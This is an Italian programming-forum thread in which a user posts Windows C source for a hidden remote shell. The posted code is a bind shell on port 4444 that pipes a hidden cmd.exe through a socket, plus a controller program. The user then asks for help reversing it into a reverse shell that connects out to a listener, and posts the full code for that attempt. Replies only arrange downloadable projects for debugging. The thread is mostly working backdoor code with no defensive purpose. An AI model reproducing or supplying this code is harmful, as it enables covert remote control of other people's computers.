Pagina 1 di 3 1 2 3 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 22

Discussione: [C/C++] Shell remota

  1. #1
    Utente di HTML.it L'avatar di mamo139
    Registrato dal
    May 2005
    residenza
    Londra
    Messaggi
    841

    [c/c++] shell remota...

    ho trovato in internet questo esempio di shell remota...
    codice:
    #define WIN32_LEAN_AND_MEAN
    
    #include "sock.h"
    #include <stdio.h>
    #include <windows.h>
    #include <winsock2.h>		//includo la libreria per le funzioni della versione 2 del winsock
    
    #pragma comment(lib,"Ws2_32.lib") //Winsocket lib
    
    #define SHELL_NAME "cmd\0"
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){
    
    
    	SOCKET sock, sendrecv;
    	struct sockaddr_in sock_addr,sendrecv_addr;
    	WSADATA data;
    	WORD p;
    	int len;
    	SECURITY_ATTRIBUTES sa;
    	STARTUPINFO si;
    	PROCESS_INFORMATION pi;
    
    
    	 //connessione modalità server...
    	p=MAKEWORD(2,0);
    	WSAStartup(p,&data);
    
    	sock = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0);	//utilizzo la WSASocket() invece della socket()
    
    	sock_addr.sin_family=PF_INET;
    	sock_addr.sin_port=htons(4444);		//Utilizzo la porta 4444
    	sock_addr.sin_addr.s_addr=INADDR_ANY;
    
        bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in));
    	listen(sock,1);
    	int lun = sizeof (struct sockaddr);
    	sendrecv = accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);
    
    	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    	sa.bInheritHandle = TRUE;
    	sa.lpSecurityDescriptor = NULL;
    
    	memset((void *) &si, 0, sizeof(si));
    	memset((void *) &pi, 0, sizeof(pi));
    
    	si.cb = sizeof(si);
    	si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
    
    	si.wShowWindow = SW_HIDE;
    	si.hStdInput = (void *)sendrecv;	// posso assegnare lo standard input direttamente alla socket
    	si.hStdOutput = (void *)sendrecv;   // devo utilizzare un cast in quanto la socket ?n intero,
    	si.hStdError = (void *)sendrecv;	// mentre io ho bisogno di una variabile tipo Handle (puntatore a void)
    
    	CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    
    //	closesocket(sendrecv);
    //	closesocket(sock);
    //	WSACleanup();
    
    
    	return 0;
    }
    e io ho costruito questo altro programmino per il suo utilizzo

    codice:
    #include "sock.h"
    #include <stdio.h>
    #include <string.h>
    #include <windows.h>
    #include <winsock2.h>		//includo la libreria per le funzioni della versione 2 del winsock
    
    #pragma comment(lib,"Ws2_32.lib") //Winsocket lib
    
    #define SHELL_NAME "cmd\0"
    
    int main(){
    
    
    	SOCKET sock, sServerSock;
    	char pBuffer[2000];
    	int iBytes;
    
    	sServerSock = InitClientSocket("127.0.0.1", 4444);
    
    	if (sServerSock != 0){ //controllo connessione
    		printf("connessione avvenuta!\n");
    	} else return -1;
    
    	while(TRUE){
    
    	while(TRUE){
    		iBytes = recv(sServerSock,pBuffer,2000,0);
    		pBuffer[iBytes] = '\0';
    		printf("%s",pBuffer);
    		if(pBuffer[iBytes-1] == '>') break;
    	}
    
    	pBuffer[0] = '\0';
    	gets(pBuffer);
    	send(sServerSock, pBuffer,lstrlen(pBuffer),0);
    	pBuffer[0] = '\n';pBuffer[1] = '\0';
    	send(sServerSock, pBuffer,lstrlen(pBuffer),0);
    
    	}
    	system("pause");
    	return 0;
    }
    e fin qui tutto ok, funzionano a meraviglia...
    però come esperimento volevo provare a invertire la modalità diconnessione...
    ovvero trasformare la shell remota in un client e il mio programma in un server al quale la shell remota si connette...

    ho quindi pensato di sostituire le prime parti del programma in cui avvengono le connessioni, ma così non funziona... qualcuno sa dirmi come fare???
    grazie ciao

  2. #2
    Utente di HTML.it L'avatar di mamo139
    Registrato dal
    May 2005
    residenza
    Londra
    Messaggi
    841
    ok.. ho provato di nuovo...
    dunque, mentre il codice postato prima funziona perfettamente...
    l'opposto non funziona, o meglio il server (ovvero quello che dovrebbe inviare i comandi alla shell) riceve cose senza senso fino a riempire il buffer del tutto e dare errore del programma...
    vi posto il codice:


    client:
    codice:
    #define WIN32_LEAN_AND_MEAN
    
    #include "sock.h"
    #include <stdio.h>
    #include <windows.h>
    #include <winsock2.h>		//includo la libreria per le funzioni della versione 2 del winsock
    
    #pragma comment(lib,"Ws2_32.lib") //Winsocket lib
    
    #define SHELL_NAME "cmd\0"
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){
    
    
    	SOCKET sock, sendrecv;
    	struct sockaddr_in sock_addr,sendrecv_addr;
    	WSADATA data;
    	WORD p;
    	int len;
    	SECURITY_ATTRIBUTES sa;
    	STARTUPINFO si;
    	PROCESS_INFORMATION pi;
    
    
    
    	sendrecv = InitClientSocket("127.0.0.1", 4444);
    	if (sendrecv == 0){
    		MessageBox(0,"connessione non avvenuta","shell",MB_OK);
    	}
    
    	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    	sa.bInheritHandle = TRUE;
    	sa.lpSecurityDescriptor = NULL;
    
    	memset((void *) &si, 0, sizeof(si));
    	memset((void *) &pi, 0, sizeof(pi));
    
    	si.cb = sizeof(si);
    	si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
    
    	si.wShowWindow = SW_HIDE;
    	si.hStdInput = (void *)sendrecv;	// posso assegnare lo standard input direttamente alla socket
    	si.hStdOutput = (void *)sendrecv;   // devo utilizzare un cast in quanto la socket ?n intero,
    	si.hStdError = (void *)sendrecv;	// mentre io ho bisogno di una variabile tipo Handle (puntatore a void)
    
    	CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    
    //	closesocket(sendrecv);
    //	closesocket(sock);
    //	WSACleanup();
    
    
    	return 0;
    }
    server:
    codice:
    #include "sock.h"
    #include <stdio.h>
    #include <string.h>
    #include <windows.h>
    #include <winsock2.h>		//includo la libreria per le funzioni della versione 2 del winsock
    
    #pragma comment(lib,"Ws2_32.lib") //Winsocket lib
    
    #define SHELL_NAME "cmd\0"
    
    int main(){
    
    
    	char pBuffer[64000];
    	int iBytes;
    
    	SOCKET sock, sendrecv;
    	struct sockaddr_in sock_addr,sendrecv_addr;
    	WSADATA data;
    	WORD p;
    	int len;
    	SECURITY_ATTRIBUTES sa;
    	STARTUPINFO si;
    	PROCESS_INFORMATION pi;
    
    
    	 //connessione modalità server...
    	p=MAKEWORD(2,0);
    	WSAStartup(p,&data);
    
    	sock = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0);	//utilizzo la WSASocket() invece della socket()
    
    	sock_addr.sin_family=PF_INET;
    	sock_addr.sin_port=htons(4444);		//Utilizzo la porta 4444
    	sock_addr.sin_addr.s_addr=INADDR_ANY;
    
        bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in));
    	listen(sock,1);
    	int lun = sizeof (struct sockaddr);
    	sendrecv = accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);
    
    
    
    	while(TRUE){
    
    
    		while(TRUE){
    			iBytes = recv(sendrecv,pBuffer,64000,0);
    			pBuffer[iBytes] = '\0';
    			printf("%s",pBuffer);
    			if(pBuffer[iBytes-1] == '>') break;
    		}
    
    		pBuffer[0] = '\0';
    		gets(pBuffer);
    		send(sendrecv, pBuffer,lstrlen(pBuffer),0);
    		pBuffer[0] = '\n';pBuffer[1] = '\0';
    		send(sendrecv, pBuffer,lstrlen(pBuffer),0);
    
    	}
    	system("pause");
    	return 0;
    }
    funzione InitClientSocket
    codice:
    SOCKET InitClientSocket(char *pHost, int iPort){
     struct sockaddr_in saClient;
     struct hostent *pHostinfo;
     SOCKET sock;
    
     WORD version;
     WSADATA WSAData;
     version=MAKEWORD(1,1);
     WSAStartup(version, &WSAData);
    
    
     //Avvia il socket
     if ((sock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){
      return 0;
     }
    
     //Risolve il DNS
     pHostinfo=gethostbyname(pHost);
     if (pHostinfo==NULL){
      return 0;
     }
    
     //Imposta la connessione con il server...
     saClient.sin_family=AF_INET;
     saClient.sin_addr=*((struct in_addr *)pHostinfo->h_addr);
     saClient.sin_port=htons(iPort);
    
    
     //Si connette al server...
     if (connect(sock,(struct sockaddr *)&saClient, sizeof(saClient))){
      return 0;
     }
     
     return sock;
    }

  3. #3
    Utente di HTML.it L'avatar di mamo139
    Registrato dal
    May 2005
    residenza
    Londra
    Messaggi
    841
    l'errore è così:

  4. #4
    Utente di HTML.it L'avatar di mamo139
    Registrato dal
    May 2005
    residenza
    Londra
    Messaggi
    841
    nessuno sa rispondermi??

  5. #5

  6. #6
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    Ciao Marco,

    per dare una risposta sensata al tuo problema, bisogna provare tutto il codice.

    Per provare il codice, bisogna creare un progetto per il server e uno per il client.

    Il tempo che ci vuole non e' indifferente e per questo, penso, tu non hai risposte ...

    Se potessi mettere a disposizione i due progetti, pronti per l'uso, su un qualsiasi sito in modo da scaricarli e provarli, forse si puo' dare un'occhiata in quanto si risparmierebbe un sacco di tempo ...

  7. #7
    Utente di HTML.it L'avatar di mamo139
    Registrato dal
    May 2005
    residenza
    Londra
    Messaggi
    841
    scusa non ci avevo pensato
    con che programma vuoi che li crei i progetti???
    Microsoft Visual C++ 2005 Express Edition va bene???
    posso farlo anche in Microsoft Visual C++ 6.0 volendo...
    (non ho i progetti xche compilavo il singolo file .cpp con dev-c++, ma li faccio)

    grazie ciao

  8. #8
    Utente di HTML.it L'avatar di mamo139
    Registrato dal
    May 2005
    residenza
    Londra
    Messaggi
    841
    ecco qui intanto il link con i progetti per VS c++ 6.0
    http://thesolution.altervista.org/ma...ell_remota.htm

  9. #9
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    VC2003 o 2005 vanno bene ...

  10. #10
    Utente di HTML.it L'avatar di mamo139
    Registrato dal
    May 2005
    residenza
    Londra
    Messaggi
    841
    http://thesolution.altervista.org/ma...ell_remota.htm
    ops... ho fatto quelli per il 6.0
    ma li converte automaticamente vero???

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.